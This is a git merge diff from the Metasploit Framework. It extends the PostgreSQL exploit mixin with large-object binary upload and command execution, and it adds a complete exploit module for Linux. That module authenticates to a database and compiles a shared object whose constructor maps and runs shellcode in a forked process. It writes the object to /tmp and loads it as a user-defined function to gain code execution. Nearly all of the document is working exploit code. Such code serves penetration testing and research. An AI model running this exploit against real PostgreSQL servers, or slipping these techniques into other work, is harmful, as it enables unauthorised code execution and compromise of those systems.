Merge remote branch 'jlee-r7/midnitesnake-postgres_payload'
commit
e762ca0d9b
|
@ -1,4 +1,3 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
@ -12,6 +11,7 @@ module Msf
|
|||
module Exploit::Remote::Postgres
|
||||
|
||||
require 'postgres_msf'
|
||||
require 'base64'
|
||||
include Msf::Db::PostgresPR
|
||||
attr_accessor :postgres_conn
|
||||
|
||||
|
@ -53,11 +53,11 @@ module Exploit::Remote::Postgres
|
|||
ip = args[:server] || datastore['RHOST']
|
||||
port = args[:port] || datastore['RPORT']
|
||||
uri = "tcp://#{ip}:#{port}"
|
||||
|
||||
|
||||
if Rex::Socket.is_ipv6?(ip)
|
||||
uri = "tcp://[#{ip}]:#{port}"
|
||||
end
|
||||
|
||||
|
||||
verbose = args[:verbose] || datastore['VERBOSE']
|
||||
begin
|
||||
self.postgres_conn = Connection.new(db,username,password,uri)
|
||||
|
@ -98,7 +98,6 @@ module Exploit::Remote::Postgres
|
|||
def postgres_query(sql=nil,doprint=false)
|
||||
ip = datastore['RHOST']
|
||||
port = datastore['RPORT']
|
||||
verbose = datastore['VERBOSE']
|
||||
postgres_login unless self.postgres_conn
|
||||
unless self.postgres_conn
|
||||
return {:conn_error => true}
|
||||
|
@ -155,18 +154,17 @@ module Exploit::Remote::Postgres
|
|||
# postgres_fingerprint attempts to fingerprint a remote Postgresql instance,
|
||||
# inferring version number from the failed authentication messages.
|
||||
def postgres_fingerprint(args={})
|
||||
postgres_logout if self.postgres_conn
|
||||
return postgres_authed_fingerprint if self.postgres_conn
|
||||
db = args[:database] || datastore['DATABASE']
|
||||
username = args[:username] || datastore['USERNAME']
|
||||
password = args[:password] || datastore['PASSWORD']
|
||||
rhost = args[:server] || datastore['RHOST']
|
||||
rport = args[:port] || datastore['RPORT']
|
||||
|
||||
|
||||
uri = "tcp://#{rhost}:#{rport}"
|
||||
if Rex::Socket.is_ipv6?(rhost)
|
||||
uri = "tcp://[#{rhost}]:#{rport}"
|
||||
end
|
||||
|
||||
|
||||
verbose = args[:verbose] || datastore['VERBOSE']
|
||||
begin
|
||||
|
@ -175,11 +173,13 @@ module Exploit::Remote::Postgres
|
|||
version_hash = analyze_auth_error e
|
||||
return version_hash
|
||||
end
|
||||
if self.postgres_conn # Just ask for the version.
|
||||
resp = postgres_query("select version()",false)
|
||||
ver = resp[:complete].rows[0][0]
|
||||
return {:auth => ver}
|
||||
end
|
||||
return postgres_authed_fingerprint if self.postgres_conn
|
||||
end
|
||||
|
||||
def postgres_authed_fingerprint
|
||||
resp = postgres_query("select version()",false)
|
||||
ver = resp[:complete].rows[0][0]
|
||||
return {:auth => ver}
|
||||
end
|
||||
|
||||
# Matches up filename, line number, and routine with a version.
|
||||
|
@ -264,7 +264,7 @@ module Exploit::Remote::Postgres
|
|||
read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
|
||||
COPY #{temp_table_name} FROM '#{filename}';
|
||||
SELECT * FROM #{temp_table_name}}
|
||||
read_return = postgres_query(read_query)
|
||||
return postgres_query(read_query,true)
|
||||
end
|
||||
|
||||
def postgres_has_database_privilege(priv)
|
||||
|
@ -291,6 +291,7 @@ module Exploit::Remote::Postgres
|
|||
# This presumes the pg_temp.sys_exec() udf has been installed, almost
|
||||
# certainly by postgres_create_sys_exec()
|
||||
def postgres_sys_exec(cmd)
|
||||
print_status "Attempting to Execute: #{cmd}"
|
||||
q = "select pg_temp.sys_exec('#{cmd}')"
|
||||
resp = postgres_query(q)
|
||||
if resp[:sql_error]
|
||||
|
@ -300,10 +301,16 @@ module Exploit::Remote::Postgres
|
|||
return true
|
||||
end
|
||||
|
||||
|
||||
# Takes a local filename and uploads it into a table as a Base64 encoded string.
|
||||
# Returns an array if successful, false if not.
|
||||
def postgres_upload_binary_file(fname)
|
||||
data = postgres_base64_file(fname)
|
||||
def postgres_upload_binary_file(fname, remote_fname=nil)
|
||||
data = File.read(fname)
|
||||
postgres_upload_binary_data(data, remote_fname)
|
||||
end
|
||||
|
||||
def postgres_upload_binary_data(data, remote_fname=nil)
|
||||
data = postgres_base64_data(data)
|
||||
tbl,fld = postgres_create_stager_table
|
||||
return false unless data && tbl && fld
|
||||
q = "insert into #{tbl}(#{fld}) values('#{data}')"
|
||||
|
@ -312,20 +319,48 @@ module Exploit::Remote::Postgres
|
|||
print_error resp[:sql_error]
|
||||
return false
|
||||
end
|
||||
oid, fout = postgres_write_data_to_disk(tbl,fld)
|
||||
oid, fout = postgres_write_data_to_disk(tbl,fld,remote_fname)
|
||||
return false unless oid && fout
|
||||
return [tbl,fld,fout,oid]
|
||||
end
|
||||
|
||||
# Writes b64 data from a table field, decoded, to disk.
|
||||
def postgres_write_data_to_disk(tbl,fld)
|
||||
#
|
||||
# This is accomplished with 3 sql queries:
|
||||
# 1. select lo_create
|
||||
# 2. version dependant:
|
||||
# - on 9.x, insert into pg_largeobject
|
||||
# - on older versions, update pg_largeobject
|
||||
# 3. select lo_export to write the file to disk
|
||||
#
|
||||
def postgres_write_data_to_disk(tbl,fld,remote_fname=nil)
|
||||
oid = rand(60000) + 1000
|
||||
fname = Rex::Text::rand_text_alpha(8) + ".dll"
|
||||
queries = [
|
||||
"select lo_create(#{oid})",
|
||||
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
|
||||
"select lo_export(#{oid}, '#{fname}')"
|
||||
]
|
||||
remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"
|
||||
|
||||
ver = postgres_fingerprint
|
||||
case ver[:auth]
|
||||
when /PostgreSQL 9\./
|
||||
# 9.x does *not* insert the largeobject into the table when you do
|
||||
# the lo_create, so we must insert it ourselves.
|
||||
queries = [
|
||||
"select lo_create(#{oid})",
|
||||
"insert into pg_largeobject select #{oid}, 0, decode((select #{fld} from #{tbl}), 'base64')",
|
||||
"select lo_export(#{oid}, '#{remote_fname}')"
|
||||
]
|
||||
else
|
||||
# 8.x inserts the largeobject into the table when you do the
|
||||
# lo_create, so we with a value.
|
||||
#
|
||||
# 7.x is an unknown, but this behavior was the default before the
|
||||
# addition of support for 9.x above, so try it this way and hope
|
||||
# for the best
|
||||
queries = [
|
||||
"select lo_create(#{oid})",
|
||||
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
|
||||
"select lo_export(#{oid}, '#{remote_fname}')"
|
||||
]
|
||||
end
|
||||
|
||||
queries.each do |q|
|
||||
resp = postgres_query(q)
|
||||
if resp && resp[:sql_error]
|
||||
|
@ -334,15 +369,20 @@ module Exploit::Remote::Postgres
|
|||
break
|
||||
end
|
||||
end
|
||||
return oid,fname
|
||||
return oid,remote_fname
|
||||
end
|
||||
|
||||
# Base64's a file and returns the data.
|
||||
def postgres_base64_file(fname)
|
||||
data = File.open(fname, "rb") {|f| f.read f.stat.size}
|
||||
postgres_base64_data(data)
|
||||
end
|
||||
|
||||
def postgres_base64_data(data)
|
||||
[data].pack("m*").gsub(/\r?\n/,"")
|
||||
end
|
||||
|
||||
|
||||
# Creates a temporary table to store base64'ed binary data in.
|
||||
def postgres_create_stager_table
|
||||
tbl = Rex::Text.rand_text_alpha(8).downcase
|
||||
|
|
|
@ -0,0 +1,198 @@
|
|||
###
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/postgres'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Postgres
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
# Creates an instance of this module.
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'PostgreSQL for Linux Payload Execution',
|
||||
'Description' => %q{
|
||||
On some default Linux installations of PostgreSQL, the
|
||||
postgres service account may write to the /tmp directory, and
|
||||
may source UDF Shared Libraries's from there as well, allowing
|
||||
execution of arbitrary code.
|
||||
|
||||
This module compiles a Linux shared object file, uploads it to
|
||||
the target host via the UPDATE pg_largeobject method of binary
|
||||
injection, and creates a UDF (user defined function) from that
|
||||
shared object. Because the payload is run as the shared object's
|
||||
constructor, it does not need to conform to specific Postgres
|
||||
API versions.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'midnitesnake', # this Metasploit module
|
||||
'egypt', # on-the-fly compiled .so technique
|
||||
'todb' # original windows module this is based on
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 65535,
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Linux x86_64', { 'Arch' => ARCH_X86_64 } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 05 2007'
|
||||
|
||||
))
|
||||
|
||||
deregister_options('SQL', 'RETURN_ROWSET')
|
||||
end
|
||||
|
||||
# Buncha stuff to make typing easier.
|
||||
def username; datastore['USERNAME']; end
|
||||
def password; datastore['PASSWORD']; end
|
||||
def database; datastore['DATABASE']; end
|
||||
def rhost; datastore['rhost']; end
|
||||
def rport; datastore['rport']; end
|
||||
def verbose; datastore['VERBOSE']; end
|
||||
def bits; datastore['BITS'];end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
postgres_sys_exec(cmd)
|
||||
end
|
||||
|
||||
def exploit
|
||||
version = do_login(username,password,database)
|
||||
case version
|
||||
when :noauth; print_error "Authentication failed."; return
|
||||
when :noconn; print_error "Connection failed."; return
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - #{version}")
|
||||
end
|
||||
|
||||
fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
|
||||
tbl,fld,so,oid = postgres_upload_binary_data(payload_so(fname), fname)
|
||||
|
||||
unless tbl && fld && so && oid
|
||||
print_error "Could not upload the UDF SO"
|
||||
return
|
||||
end
|
||||
|
||||
print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
|
||||
begin
|
||||
func_name = Rex::Text.rand_text_alpha(10)
|
||||
postgres_query(
|
||||
"create or replace function pg_temp.#{func_name}()"+
|
||||
" returns void as '#{so}','#{func_name}'"+
|
||||
" language 'C' strict immutable"
|
||||
)
|
||||
rescue
|
||||
end
|
||||
postgres_logout if @postgres_conn
|
||||
|
||||
end
|
||||
|
||||
|
||||
# Authenticate to the postgres server.
|
||||
#
|
||||
# Returns the version from #postgres_fingerprint
|
||||
def do_login(user=nil,pass=nil,database=nil)
|
||||
begin
|
||||
password = pass || postgres_password
|
||||
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
|
||||
result = postgres_fingerprint(
|
||||
:db => database,
|
||||
:username => user,
|
||||
:password => password
|
||||
)
|
||||
if result[:auth]
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:name => "postgres",
|
||||
:info => result.values.first
|
||||
)
|
||||
return result[:auth]
|
||||
else
|
||||
return :noauth
|
||||
end
|
||||
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
|
||||
return :noconn
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def payload_so(filename)
|
||||
shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
|
||||
#shellcode = "\\xcc"
|
||||
|
||||
c = %Q^
|
||||
int _exit(int);
|
||||
int printf(const char*, ...);
|
||||
int perror(const char*);
|
||||
void *mmap(int, int, int, int, int, int);
|
||||
void *memcpy(void *, const void *, int);
|
||||
int mprotect(void *, int, int);
|
||||
int fork();
|
||||
int unlink(const char *pathname);
|
||||
|
||||
#define MAP_PRIVATE 2
|
||||
#define MAP_ANONYMOUS 32
|
||||
#define PROT_READ 1
|
||||
#define PROT_WRITE 2
|
||||
#define PROT_EXEC 4
|
||||
|
||||
#define PAGESIZE 0x1000
|
||||
|
||||
char shellcode[] = "#{shellcode}";
|
||||
|
||||
void run_payload(void) __attribute__((constructor));
|
||||
|
||||
void run_payload(void)
|
||||
{
|
||||
int (*fp)();
|
||||
fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
memcpy(fp, shellcode, sizeof(shellcode));
|
||||
if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
|
||||
_exit(1);
|
||||
}
|
||||
if (!fork()) {
|
||||
fp();
|
||||
}
|
||||
|
||||
unlink("#{filename}");
|
||||
return;
|
||||
}
|
||||
|
||||
^
|
||||
|
||||
cpu = case target_arch.first
|
||||
when ARCH_X86; Metasm::Ia32.new
|
||||
when ARCH_X86_64; Metasm::X86_64.new
|
||||
end
|
||||
payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")
|
||||
|
||||
so_file = payload_so.encode_string(:lib)
|
||||
|
||||
so_file
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue